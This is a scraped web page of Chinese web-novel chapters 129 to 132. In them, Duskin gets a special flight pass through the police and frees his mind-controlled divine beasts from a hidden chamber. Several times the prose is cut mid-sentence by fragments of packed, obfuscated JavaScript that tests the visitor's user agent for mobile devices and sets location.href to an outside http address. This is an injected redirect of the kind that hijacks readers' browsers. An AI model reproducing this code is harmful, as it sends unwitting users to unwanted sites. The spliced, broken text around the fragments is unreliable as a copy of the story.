0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689025|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管独孤尽的异常行为,只想探究那些病人是不是真的恢复了。 陆烨修倒是没在意给独孤尽交医药费,他问清了在哪缴费后,就把二维码给人扫了。 “晚点请你吃饭,现在我要走了。”独孤尽救了一圈人,精神最好的反而是他自己,他现在精神抖擞,要去找找那些关键点了。 “你就没什么要跟我解释的?”陆烨修已经被关在家里很久了,这回出来还是给家里看了他的聊天通话,家里去查了录音,才放了他出来。 “你想听什么,想听我等会儿要去找谁算账吗?”独孤尽的目标非常明确,他要找与当时办的最后一个案子相关的人,症结绝对在此。 “如果你能跟我说这些的话更好,如若不能,也跟我说说这黑雾是怎么回事?”陆烨修永远也不会忘了自己在独孤尽身边碰到的那些怪事。 毕竟,如果没有独孤尽,他也不可能知道自己家是玄门中人。 “这两者可没区别,我就是要去找黑雾源头,你要跟我一起去吗?”难得独孤尽没直接把陆烨修碾走,反而相邀同往,怎么看都像是有阴谋一样。 可陆烨修还挺高兴,他紧紧跟在独孤尽身边,一路上都在跟他讲这段时间他遇到的事,以及他研究地驱散黑气的方法。 “这就是你研究出来的对普通人也有用的药?”独孤尽看着陆烨修手里那瓶五颜六色的小药丸,怎么看都像是违禁品。 “很有用,我已经让人试过了,每个吃了药的人都能在一瞬间恢复成正常人,只不过,这药的药效不够长,吃完之后可能稍微受点儿刺激就又得犯……”陆烨修一开始还说得信心满满,可说到后面就觉得自己有卖药的嫌疑。 他可以发誓,他制作这种药绝对不是为了赚普通人的钱。 “最长可以保持多久清醒?”独孤尽这会儿重视起陆烨修的药来了,如果时间够长,还真的能作为保命药剂给人备着。 “半天,最长半天。”陆烨修觉得自己制作这药费时费力还费金钱,可这药的药效没达到他的期望,他难免失望。 “半天,足够了,半天可以做很多事。”独孤尽听了却非常欣喜,如果这药能普遍推广,那很多人都能先保住命,等到这件事了结的一刻。 “你把这药跟上面反应下,争取早日推出。”独孤尽说完后,发现陆烨修无动于衷,“怎么了?” “我家里不同意我掺这趟浑水。” “你家里应该也不愿意你现在出门吧,你这不是也出来了吗?”独孤尽把那瓶药拿过来,打开了瓶盖,还没用力嗅闻,就被陆烨修惊慌地夺了回去。 “一码归一码,我不能陷我家人于水火中。”陆烨修虽然有着自己的理想,可让他为了自己的理想让全家人都处于危险里,他也是做不出来的。 “那你等我片刻,只要我找到了我的人,我会让它们去保护你家,到时候你再把药拿出来,行吗?”独孤尽想了下,使出最后一记猛药,“救世之神陆烨修!” 129. 绿色通行证 “救世之神。” “救世之神。” 这个称呼在陆烨修脑海中不断回响,说他中二也好,天真也好,他就是被这个称呼刺激得什么理智都不要了。 只要能救天下人,他愿意豁出去! “你的人什么时候能找到?”陆烨修现在比独孤尽还着急,而且他还很好奇一件事,不知道能不能问。 独孤尽见他几次想开口说什么最后都闭上了嘴,实在好奇,“你有什么别的要问?” “你身边的那个人呢?”陆烨修思考了一下,比较含蓄地问了出来。 “我身边的?”独孤尽反应过来陆烨修说的是谁了,他摇了摇头,“他的事有点复杂,晚点我看看怎么跟你说才好。” “他现在不在这,我说的要找的人也不是他。”办完出院手续的独孤尽跟着陆烨修走出了医院,顺便打了辆车。 “你不知道,我有多久没见过这么正常的世界了。”独孤尽感慨了一声,他看向车窗外。 是熟悉的车水马龙,是熟悉的红绿灯,熟悉的人潮涌动。 “有的时候,这些再平常不过的,才是幸福。”独孤尽说这话说得特别老气横秋,陆烨修有些狐疑地看着独孤尽。 “你这段时间人都去哪了,想找你都找不到。”陆烨修拿出自己的手机晃了晃,“你手机呢?还用个陌生号码打我电话。” “手机不在我身上,我现在身无分文。”独孤尽沿路感知着,却一直没有感知到神兽的气息。 很快,车停在了一家酒店前,独孤尽却没下车,他看了陆烨修一眼,“让司机再往别处开开,我还没找到我要找的。” “行,那往渡口那边开吧。”陆烨修想了想,给司机说了个地方。 “你们这到底要去哪?”司机茫然了,他在这种形势下赚点钱不容易,生怕车上这两人在拿他开玩笑,别到时候哪儿都去了,完了不给钱。 “这样,我先扫你一部分车钱,晚点多退少补行吧?”陆烨修扫了车上挂着的二维码牌子,给对方打了一千块过去。 “行行,今天我车就给你们包了。”司机听到报账声,心情大好,他一脚油门踩了出去。 独孤尽这会儿没功夫跟别人说话,他全神贯注感知着沿路的一切,生怕自己错过了什么。 可一路开到了渡口,他也没碰到任何一只神兽。 这不对劲,如果神兽真的在这个世界,那他绕了这么大一圈,一只都碰不到的概率也太夸张了。 “除非……” “你说什么?”陆烨修听见独孤尽说了什么,好奇地凑近。 “没什么,我要去个地方。”独孤尽报出了林桥别馆的地址。 虽然别馆应该被警方查了,但谁能保证那么大个别馆没条后路呢? 他之所以找不到神兽,很有可能神兽们被人控制了起来,集中关在了什么地方。 “……你是不是昏头了,林桥别馆可不在这。”陆烨修伸手摸了摸独孤尽的额头,不发烧。 “说话可以,别动手动脚。”独孤尽拍开陆烨修的手,他现在可有喜欢的人,跟谁都要保持距离的。 “不管别的,我现在就要去别馆。”独孤尽闭上眼睛感知了一下,他似乎无法准确定位,他的能力还没恢复到鼎盛,没法直接瞬移过去。 只能用最普通的交通方式过去了。 “我查一下最近的航班。”陆烨修无奈,他刚查了一下,就想起来什么。 “司机师傅,你开到别的市我给你三倍费用怎么样?”一般来说,去别的城市,需要交付双倍车费,可他们现在的行为看起来太诡异了点,而且他们还不能被警方抓去盘问。 如果只是花点钱的话,那他晚点可以让独孤尽把钱还给他。 “你们……我一个人也没办法开这么久的车,疲劳驾驶。”司机踌躇了一下,如果能赚到这一笔,那他甚至可以休息半个月了。 只是这两人自从上车开始就神神叨叨的,实在可疑,他怕自己倒是开到了地方,命也没了。 黑雾本就影响着每个人,放大了他们的任何情绪,包括戒心。 “你放心哈,我们俩不是坏人,他就是个大少爷,跟家里闹别扭离家出走呢,现在好不容易想回家了,也不想被家里人抓到,就想坐车回去。”陆烨修解释了一句,司机在后视镜里又观察了一下两人。 确实那个最怪的人看起来像个桀骜不驯的少爷。 陆烨修实在没法带独孤尽去坐飞机,他可没办法变个身份证出来给独孤尽。 “我想坐飞机。”独孤尽却不买帐,他没这么多时间耽误在路上,如果神兽们真的被控制在某个地方,他需要尽快过去解救,否则后果不堪设想。 “你坐不了飞机。”陆烨修没办法,只能揪着独孤尽耳朵,在他耳边小声再小声。 生怕被司机听见,不肯载他们过去。 “坐不了也得坐,实在不行去联系警方。”独孤尽眼神坚定,从这个地方坐车去林桥别馆,光路上就要二十多个小时,一天一夜都不止,他又不知道自己之前究竟昏迷了多久,哪怕昏迷没多久就被医护人员发现了,那他也没时间浪费。 不然,耳鼠通知大家全从花海那儿过来了怎么办? 他不知道春渐满如果过来,会有怎么样的变故。 那边的世界随他变成什么样都行,可这边看起来真的是真实的世界,没办法让他那样操作。 “你要去联系警方?!你不怕……”后面的话陆烨修不敢往下说,他知道相信国家可能是他们唯一该做的事,可有些人凭借职权,做的却不是人事。 他不敢保证他们能碰上正规军。 “难道他们不想和‘怪奇诊所’打交道吗?”独孤尽冷笑了一声。 司机虽然在开车,但一直竖着耳朵呢,独孤尽这声没收着,一下就闯进了司机的耳中,他的方向盘差点打歪,脚下也猛踩了一记刹车。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689026|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你!”陆烨修也被惊到了,他虽然一直在猜测这点,但亲耳听到独孤尽说出这话,还是难以接受。 “就算,就算你是,那你不知道有多少人要找……吗?”陆烨修自动消音,可他现在消音已经没什么用了,司机的手抖的跟筛糠一样。 “你做过什么穷凶极恶的事吗?”独孤尽冷不丁地问司机。 “没……没!”司机连忙否认,额头上急的布满了汗珠。 “那你怕什么?对于‘怪奇诊所’的传闻你应该也听过不少吧,只会对坏人动手,你既没做过,就该祈祷,如果碰到坏事,‘怪奇诊所’能来救你。”独孤尽冷淡地把事情阐述明白,如果司机还是这个样子,那他只能下车了。 “我……我……没怕,你们还要去哪里,我送你们过去。”司机结结巴巴把话说完,他抹了抹满头的汗。他虽然没做过什么穷凶极恶的事,可也不是什么坏事都没干过的人。 他就是个普通人,碰到活阎王了,还能不怕? 独孤尽压根不知道他在普通人心里是活阎王的形象,陆烨修也还沉浸在自己是救世之神的幻觉里,他咧开嘴对司机笑起来,“对嘛,我们都是好人,你送我们去最近的警局吧。” “好,好!”司机连忙应声,如果是去警局的话,他倒是可以送过去。 “你想好怎么跟他们说了吗?还有,你的这个‘怪奇诊所’到底是怎么回事?我们同学这么久,瞒这么久,是不是不合适?”陆烨修还是那么自负,独孤尽深吸了口气,如果可以他真不想暴露,可在这个世界,他也没其他人可以合作的了。 “到了警局我会跟他们说,你在旁边一起听,我不想说两遍。”独孤尽决定闭目养神,如果他的满哥在就好了,他根本不用费这么多口舌…… 当然,是拥有人类记忆的春渐满,现在的春渐满实在隔得太远了,虽然像个孩子一样,也挺有趣的,但还是拥有人类记忆的满哥跟他更合拍。 约莫过了十多分钟,司机就把车停在了警局门口。 独孤尽记不清自从认识春渐满之后,他进了多少次警局,以往作为藏在黑暗中的“怪奇诊所”,他从来只让罪犯自首,他自己之前是不去警局的,可现在,进警局都像家常便饭一样了。 “走吧。”他抬头看了看庄严肃穆的建筑,又看了一眼天空。 “舍命陪君子,你可别让他们把我也抓了,我可跟‘怪奇诊所’没关系啊。”陆烨修在后面碎碎念着。 警局里异常忙碌,每个人都有忙不完的活,除了门卫给他们进行了登记外,里面的人根本没功夫看他们一眼。 独孤尽看着路标,径直朝着局长办公室而去。 “喂,兄弟你可真不怵啊,就这么过去,也不知道对方到底怎么样。”陆烨修急了,真的急了。 “无论对方是敌是友,他们都会对‘怪奇诊所’感兴趣,我都能有绿色通行证。”独孤尽可没真打算跟他们合作,他要的不过是坐飞机的绿牌牌。 130. 被控制的神兽们 “你是谁?这里可是警局。”局长只听着门被敲了两声,他还没应声,人就直接开门进来了。 “局长您好,有重要的事跟您打个商量。”独孤尽开门见山,他把陆烨修拉进来后,直接关上了局长办公室的门。 局长隐约觉得不妙,手在电话上迟疑了片刻,还是没有拨出去。 “什么事?” “这黑雾影响人的事,您知道吧?”这件事已经影响了人们的正常生活,上面不可能没交代。 “嗯?” “‘怪奇诊所’您也知道吧?” “嗯。”局长目光如炬盯着面前两人看了会儿,起身去倒了两杯水递过去,示意他们坐到会客沙发上聊。 陆烨修接了水,还很礼貌坐上了沙发,可独孤尽却没坐下,“长话短说,我没这么多时间跟您耗。” “我跟‘怪奇诊所’有关,我现在要去把黑雾源头揪出来清理了,否则黑雾再这样蔓延下去,危害太大。”独孤尽说出的话着实惊到了局长,这事情他得上报,这不是他一个人就可以下决定的事。 “请您用最快地速度上报。”独孤尽像是猜到了局长的心思,直接点破。 他毕竟跟春渐满在一起共事这么久,了结这人类办事有多麻烦。 “要快!”他怕局长不上心,又催促了一遍。 局长哪里敢不上心,无论这两人是不是真的跟“怪奇诊所”有关,但凡能说出与黑雾相关的事,都说明他们不简单。 “我这就上报。”秉着宁可错信不能放过的原则,局长立马打了电话往上打报告。 这通报告层层上递,直接影响到了最高层,当局长再次接通电话听到的是最高层跟他对话时,他的手都有点颤抖。 独孤尽倒是提前感知到了,他提醒,“开外放。” 局长没敢开,直到电话里的人同意,“听他的,开外放吧。” “废话我就不说了,麻烦您给我准备z9821次飞机的绿色通行证。”独孤尽再次没半句废话,直接提出了要求。 “我要如何信你?”对方只是平静地问了一句。 “黑雾之事,我会解决,到时候您不得不信。”独孤尽没办法直接证明自己,毕竟,他现在可没办法直接定位到他的位置,让他感受一把“怪奇诊所”。 能力受损真的很麻烦,他很多事情都做不了。 否则,他也不会来求助,要求绿色通行证了,直接瞬移才方便。 “好,小宋,你去帮他把事情办妥。” 电话挂断时,陆烨修都没想到独孤尽这么轻易就达成了自己的目标。 “谢了,晚点给您送锦旗。”独孤尽冲局长也点了点头,这才拿着那杯茶坐下了。 会客沙发不够柔软,如果可以,他真想躺在柔软的沙发上,稍微休息片刻。 显然,他之前昏迷在医院并没有休息好,那丧失记忆的一段时间,太过恐怖,不知道他的满哥丧失记忆会不会也觉得有种恐惧感。 不知道他的满哥现在在干什么。 独孤尽开始了游神,陆烨修坐在旁边想跟他说点儿什么,最后张了张嘴,什么都没能说出来。 “想问什么,问吧。”独孤尽的感知力有时候也会让他困扰,比如现在被人盯着的时候。 “你不是说,要一起解释你的这个‘怪奇诊所’吗?”陆烨修可没忘当时独孤尽是怎么忽悠他的。 “你想听什么?”独孤尽半阖着眼睛,抿了一口茶。 “你是怎么进‘怪奇诊所’的?他们的当家人到底是什么样的?你们怎么做到这么神出鬼没的?大家都查不到你们……”陆烨修真是有一万个问题等着独孤尽。 “这些我都不能说。”独孤尽直截了当拒绝了回答。 “那你让我问?!你能告诉我什么?!”陆烨修深觉自己就是被骗了,他恼怒地盯着独孤尽。 “我能告诉你的……”独孤尽话还没说完,局长那边电话就已经又过来了。 他接完,把手机上一个二维码给独孤尽看,“你要坐的那个航班上面已经安排好了,你把这个二维码给他们看,就能直接坐。” 独孤尽压根没手机,他看了陆烨修一眼,陆烨修因之前被独孤尽忽悠了,现在也不肯拿手机出来。 独孤尽继续盯着陆烨修,看得陆烨修汗毛都要竖起来了,还是局长直接把手机递了过去,“给你。” “不是,局长,您就这么把手机给他了?!”陆烨修快跳起来了。 “只要能把黑雾解决,给他一部手机算什么?他就算要十部手机,要一栋房,都是应得的。”虽然他作为一名局长没有那么大的权利,但上面这般重视,如果他真的能解决当下的难题,救人民群众于水火,想必奖励不会少。 “……不用了,您把二维码发给我吧。”陆烨修无奈,只能从口袋里把手机掏出来,把二维码存进了自己的手机。 他们是被专车送到机场的,因为是从警车上下来,好多路人虽然要赶飞机,却还是对他们行了注目礼。 独孤尽却浑不在意,走在最前面。 陆烨修有点看不得独孤尽那般潇洒的背影,好像一切都在他的掌控之中。 可他又不得不紧跟上去,把二维码给工作人员看,好顺利上飞机。 “独孤先生和陆先生是吗?请跟我来。”工作人员一路把他们引导上了飞机,走的竟然不是寻常的通道。 “飞机即将起飞了,请您二位扣好安全带,关闭通讯设备。” “可其他人还没上飞机呢?”陆烨修看着空空如也的机舱,他俩不会被不法组织控制了吧,整个飞机就只有他们两个乘客,怎么看都不正常。 “上面有命令,新增了这趟航班,走最近的航线,用最快速度把您二位送到地方。” “兄弟……你这面子真大,不对,是‘怪奇诊所’的面子真大啊……”陆烨修看了空乘一眼,悄悄凑到独孤尽耳边吐槽。 “不是我或者‘怪奇诊所’的面子大,是人民群众的面子大,国家要救的是人民,人民最重要。”独孤尽纠正了陆烨修,他可一点儿都不觉得自己和“怪奇诊所”能够让上面网开一面,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689027|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是他们的目标都是为了解救人民,才勉强达成了共识。 不过,这次过后,他可得小心着了,最好,以后都不要再出现在这个世界里。 否则,要查他,抓他,轻而易举。 毕竟,他连真实姓名都暴露了。 —————————————— “主子,那人来了。”藏在阴暗中的老鼠窃窃私语。 “到哪了?” “还在空中,但即将抵达,我们……” “给他准备的礼物都备好了吗?” “已经准备好了。” “那就等着吧。” —————————————— 还在空中的独孤尽虽然猜到了他的神兽可能被人控制在了一处,却不知道,他的神兽已经被人控制了。 暂时丧失了记忆,跟春渐满一样,不过,春渐满是按照自己的意志行动,可其他被控制的神兽,是真的被控制了,无法按照自己的意愿行动。 “是不是快到了?”独孤尽睁开眼睛,他刚刚好像睡着了,坐在飞机上都能听到外面的喧嚣了。 “快了,准备降落了。”陆烨修这一路上可没睡着,他虽然大大咧咧,可现在心里也装了事了。 独孤尽又凝神屏息了一会儿,突然睁开眼睛,握住了陆烨修的手腕,“够了,我知道地方了。” “啊?”没等陆烨修回过神,他发现自己剧烈晃动了一瞬,随后就双脚着地了。 独孤尽已经到了林桥别馆外,他暂且还知道这边没监控的地方。 只不过,现在有没有监控都不重要了,国家已经认识他了。 飞机上他和陆烨修行踪不明的事也很快就会被报上去。 “兄弟……你这是什么神技?!你还有这种能力?!”没让陆烨修惊讶多久,独孤尽竖起手指做了个噤声的手势。 “这里很危险,这个林桥别馆里有黑雾的根源,你在外面等我。”独孤尽根本没想过要让陆烨修趟浑水。 “我都跟你到这里了,你现在让我留在外面?我好歹也是玄门世家的,我也自己研究了好一段时间,也会一些术法。”当然,他引以为傲的术法,现在在独孤尽面前确实有点儿班门弄斧了。 “我们不能全军覆没,我还有一部分人在别的地方,你到时候如果见到他们一眼就能认出来,还要你跟他们说明情况。”独孤尽又做了个制止的手势,他是绝对不会同意陆烨修跟他进去的。 说到底,他现在也不是全盛时期,没办法再保护一个人。 陆烨修与独孤尽僵持了一会儿,也想明白是自己太弱了,拖后腿,勉强同意了留守。 “可别让我给你收尸啊。”陆烨修没忍住还是念了一句。 “谢了。”独孤尽难得给了陆烨修一个好脸色,冲他笑了一下。 “别别别,你这样我更害怕了,快去吧。” 独孤尽一走进林桥别馆就感受到了神兽们的气息,那气息格外诡异,混杂着他不熟悉的味道…… 就像是……跟什么杂交在了一起…… 131. 一群笨蛋 有刺鼻的焦臭味,汗水的酸臭味,血液的腥臊味,还有他熟悉的神兽的气息…… 独孤尽的感知力上涨后,这些气味对他来说格外刺激。 想要屏息却不能收回自己的感知力。 解救神兽是关键,其他的,都可以再说。 令他格外疑惑的一点是,活物的气息似乎除了神兽们,就再无其他了。 可如果是这样,神兽们不可能离不开这个地方。 一定有什么至关重要的点他还没有发现。 独孤尽虽然只来过林桥别馆一回,可那回他算是把林桥别馆摸透了,毕竟还在里面开了很多个暗门,把人家藏起来的秘密都挖掘出来并且带走了。 说句是回自己家都不为过。 “嗯……呜呜……”隐隐约约独孤尽听见了细碎的哭声,那哭声混杂着痛苦的呻吟,像是从湿黏的沼泽里传出的,粘在人身上就取不下来了。 “……”独孤尽没出声,他尽量避开了别馆里所有的监控,走的虽然艰辛,却安心。 他寻着气息一直走到楼梯口,这里会被监控照到,而那些熟悉的气息就在这楼梯底下。 独孤尽丝毫没怀疑他们能够有这样的能力,把神兽们都关在楼梯底下,问题是,他要怎么避开监控,打开这楼梯。 如果暴力破坏,恐怕别馆的警报很快就会响起。 倒时候,不光神兽们救不出来,连他自己也要遭殃。 他们既然能做得这么不留情面,那也就休怪他了。 独孤尽看了一眼监控的位置,深吸了一口气,故技重施。 周围很快就涌起了一阵细密的水泡,熟悉的耳压袭来,独孤尽这次却没有捂耳朵,他警惕地扫视了一下四周。 这会儿似乎还没人察觉异常,他有大把时间把人救出来。 他挥挥手,周围的景象立马就叠了一个新的图层出来,覆盖在了他要行动的世界之上。 在“怪奇诊所”的范围内,他有绝对地操控权。 独孤尽随手变了个敲地板的工具,三下五除二就把地板打开了,里面果不其然有一条通往地下的暗道。 想必这楼梯口是有特殊机关的,只要打开机关就能打开楼梯,可现在他的智囊满哥不在,只能暴力打开了,虽然有点警报的风险,但起码,他制造了幻象在这,能为他争取一点时间。 “唔……唔……主人……主人……”神兽中有不少还存着理智,这熟悉的氛围,他们知道自己在“怪奇诊所”里了。 “……你……你们……”饶是独孤尽做过了充分的心理准备,可真当亲眼看到的那一刻,他仍旧有点撑不住。 神兽们被那群人渣拆解了,胡乱捆缚在一起,还让其他妖兽去蚕食它们! 独孤尽双手发颤地捡起地上鲜血淋漓的角,这是葱聋头上的,是硬生生被人从头顶上连皮带肉扯断的。 “葱聋!”独孤尽尽量克制着不让自己太愤怒,他怕自己做出过激的事,失去冷静。 那样只会谁也救不了。 葱茏早就已经不像它了,它的脑袋上不知道被接了什么,用绳子缠绕在一起,似乎已经要长在它头上了。 “主……主人……救我……”葱聋原本灰暗的眼睛闪过了一丝光亮,它充满希冀地看着独孤尽。 “主人……” “主人……” “主人……” 求救的声音此起彼伏,忽强忽弱,独孤尽只觉得头晕目眩,他深吸了一口气,盘腿坐下,抬高双手将治愈术释放出去。 之前虽然被花海几乎吞噬光了他所有的治愈能力,但在医院里,他不顾别人意愿,擅自救了人,得到了不少治愈能量,恢复得差不多,现在他有足够的能力去救神兽们。 至于,他擅自救人会不会有违天道,会不会影响到世界线,未来发展的走向,这些他都管不了了,也压根不在乎。 如果人活着必须一直瞻前顾后,那他宁愿洒脱些,按照自己的意愿,不顾生死。 随着独孤尽的治愈能量一点发挥作用,不属于神兽们的部分重新被割离出去,那些从身上剥离的又重新长了回去。 无论是普通人类还是玄门,但凡看到这番景象,都要把独孤尽抓起来作为重点研究对象,可现在,他们看不到这一幕。 一是,这里是密室,根本不存在监控,二是,楼梯上的一切还平静如水,被独孤尽用障眼法掩盖着。 无论怎么样,他要尽快把所有神兽都治好……要快…… 独孤尽一门心思都在治疗上,压根不知道上面发生了什么。 独孤尽进入林桥别馆没过多久,陆烨修就看到有几个鬼鬼祟祟的人进入了林桥别馆,看起来不像别馆的主人,也不像玄门中人,陆烨修没从几人身上感受到一点不一样的力量。 几人打扮很怪异,尤其是神态太偷偷摸摸了,肯定不会干好事。 纵使陆烨修避开了监控,独孤尽也没被监控发现,可奈何,有别的人在作死,还好死不死牵连到了他们。 这是几个正在中二期的年轻男女,平时最爱探险,自从林桥别馆出了事,消息虽然被封锁了,但是他们几个还是多方探听到了其中关窍。 对于一个发生了这么多凶恶事件的地方,传说自然是越传越邪乎,什么被束缚在此的灵,永远也无法超度的魂,能多恐怖就传的多恐怖。 很快就吸引了一部分探险者,但大部分探险者都有正确的判断,知道有的地方能去,有的地方是绝对不能去的,可作为中二期的年轻学生,他们大多数没有这种辨识能力,只会凭借着一腔孤勇,往前冲。 甚至不知道自己这么往前冲,冒着会丢性命的危险往前冲是为了什么。 “这群笨蛋!”陆烨修几乎判断出了这几人的身份,想要提醒他们,却没办法绕过监控,因为……这些人已经出现在了监控的视角里。 “兄弟!快出来啊!”陆烨修暗自着急,这可是关系人类存亡的大事,绝对不能被这几个小子给毁了! 陆烨修没能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689028|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤尽的话,他虽然知道自己守在外面有多重要,但现在他有更重要的事需要去办。 陆烨修在离开警局的时候要了局长的电话,“局长,麻烦您跟上面再说一声,来这个地址,支援我们,等等我会把定位发给你。” 陆烨修说完没等对方反应就直接把地址用短信的方式发送了过去。 既然已经惊动了上面,也就不在乎一次还是两次了,况且上面应该已经知道他们离开了飞机,恐怕也在急着找他们呢。 “姚恒,我们真的要进去吗?这被发现了算不算非法入侵啊?”一个戴着夸张爆炸头假发的男生推了推脸上的蚊香眼镜,紧张地吞了口唾沫。 “难道你就不想知道真相?不想知道里面到底发生过什么吗?”这个叫姚恒的男生只戴了顶鸭舌帽,他压低了帽檐,其他看不清,可眼神是晶亮的。 那是专属于年轻人的,充满希望的眼神。 他们从未被摧毁过光明,也从未曾见过黑暗长什么样。 那些存在在书本里,影片里的黑暗,并不能给他们真实的感受。 窥探这些隐秘似乎像诱饵一样,不断让他们犯错。 “我,我想知道啊,可是……我们已经满18岁了……” “是啊,姚恒,我们现在被抓,可不像小时候了,真的要负刑事责任的。”另外一个体型较为健壮的男生也在旁边劝着。 可姚恒铁了心,他狠狠瞪了朋友们,“你们不去,我去!” “诶!我们去,我们跟你去,慢点,小心点!” 还在地下给神兽们治疗的独孤尽尚且没把感知力用在周围的环境上,他把最后一点能量都释放出来,喘着粗气瘫软在地上,幸好他之前就选择了坐姿,不然摔在地上可是很疼的。 “主人!”已有神兽能够活动自如,上前来扶着独孤尽,想要为他治疗,可它是战斗系,并不会治愈术,只能干着急。 “没事……再过一会儿,撑一会儿我就好了……”独孤尽见有神兽已经恢复如初,知道自己等会儿就能吸收到反馈给他的双倍治愈能量,稍微安心了点。 可这一会儿,在此时此刻,显得尤为漫长。 “主人……主人……”越来越多的神兽恢复了过来,它们围拢过来,独孤尽觉得自己周围的空气逐渐被抢夺,本就在地下,空气流通差,这么一来,他差点喘不上气。 “都离我远点!春老师教你们的急救知识都忘了吗?”独孤尽挥了挥手。 又过了会儿,浓郁的治愈力开始不要命地往他身体里涌,就在他即将恢复如初时,有一只神兽忽然失控,朝着独孤尽就发动了攻击。 独孤尽毫无防备,可他身边的合窳作为战斗系却极为警醒,刚抵挡了一下,就发现自己的身体也不受控制起来,杀招冲着主人就过去了…… “原来在这儿等着我呢……”独孤尽终于明白那股违和感是怎么回事了,他的神兽被人入侵了精神。 那些人就等着他松懈的这个时机,置他于死地呢。 132. 落入陷阱 可那些人恐怕还不知道他的秘密,他能够直接回到画里面去,只是……他现在还不打算用这最后一招。 现在他的定位还没法做到跟以前一样精准,防止出现意外,难再过来,他得先想想其他法子把神兽们都救回去。 独孤尽翻身打了个滚躲过了合窳的一击,又原地跳起,避开了猲狙。 他可不能和神兽们硬碰硬,毕竟他的身体素质可不能和战斗系神兽相提并论。 “我赌你们还知道我是谁,能分辨,只是行为不受控了。”独孤尽喘了一口气,他又险险躲掉了一击。 “众神兽现在听令,把天花板当成我,向那儿攻击。”他知道神兽的思维一般都比较简单,除了像九尾狐这样容易多思的,大部分神兽只要听令,就能去做,尤其是头脑一根筋的战斗系。 “……”神兽们想要回答“是”,可它们被控制着,没法回答,只是脑海里已经把天花板代替成了主人。 这个意识的转变让它们的攻击直接朝天花板上去了。 当然,有一些容易多想的神兽没这么做,可独孤尽只对付那么几个本来就不是战斗系的神兽还比较轻松。 “别急,让我再试试,一定有办法的。”独孤尽不仅是在安抚神兽们,也是在安抚自己,让自己能够在最短的时间内恢复冷静。 与此同时,闯入了林桥别馆的那些年轻男女正遭遇了怪异地阻拦。 “你们不能再往里去了。”那是一个看起来年纪很大的老人。 这位老人是陆烨修打完电话后,上面临时找来的人,他很有执行特殊任务的经验,可这回却和平时的任务不太一样。 当然,任务级别是最高的,可任务内容却是很怪异的。 让他去阻止一群不懂事的小孩私闯民宅。 这让他费解,但这里面肯定隐藏着不能让他知道的秘密,而这个秘密足以危害全部人民,他只要保证完成任务就行。 “你是谁?!凭什么管我们?”姚恒根本不买帐,他可不信这个老人是宅子的管家,否则他要做的就不是拦下他们,而是直接把他们抓起来扣下了。 姚恒在一瞬间想明白了这些,但他的几个好友却不知道,有的已经紧张地想要逃跑了,尿意也生了出来。 “我,我们……” 姚恒见有人支支吾吾的,一掌就拍了上去,“他就不是这个屋里的,也是个外来者,你们怕什么?!” “他跟我们一样,我们要出事,他也没好果子吃。”姚恒说得恶狠狠。 “我可跟你们不一样,我是奉命前来规劝你们的,如果你们执意如此,我只能把你们拷铐回去了。”老人没多费口舌,直接拿出了手铐,干脆利落直接铐上了姚恒的手腕。 他虽然看起来年纪大,却经验十足,年轻人在他面前竟然连挣扎都挣扎不了。 一连铐了六个人,终于停了手。 虽然大家被上了手铐,可每个人的反应却不一样,有人已经开始哭了,还有的在求饶,说自己愿意出去,不再添乱,能不能把他放了,可姚恒却不一样,他骂得难听,不仅骂了老人,还骂了他的朋友。 “早知道你们靠不住就不带你们,我一个人行动还更方便。” “老头你别一副高高在上的模样,我看你这手铐也不是正规手铐。” 姚恒还真没猜错,老人确实不是正规军,他虽然是上面派下来的人,可他在被收编之前,干得可不是什么正规事。 他不介意让这群半大孩子见识见识社会的险恶。 可他还没来及发难,林桥别馆里就发出了巨响。 独孤尽的“怪奇诊所”被破了,他闯了出来,为的就是引起幕后之人的注意。 要想救神兽们,必须对症下药,他得把幕后之人引出来。 要引人出来,那就不能再藏头缩脚的了。 但这外面他感知到的气息竟然不是别馆的人,一个都不是,着实让人失望。 他刚一冒头就又钻回了别馆里。 看到别馆中出来了别人,姚恒更加激动了,“你去抓他啊!只抓我们算什么?!” “他自然也要抓,你们也别想再跑。”老人也不敢真给几人上脚铐,上面专门吩咐过,这边形势不容乐观,如果可以,一定要给大家自救的机会。 陆烨修在远处的高楼看着这边,越看越焦急,可他此刻除了干着急也做不了别的,他已经违背独孤尽的意思自作主张了,不能一而再再而三的违背。 等待永远是让人难受的,尤其是对陆烨修这么主动的人。 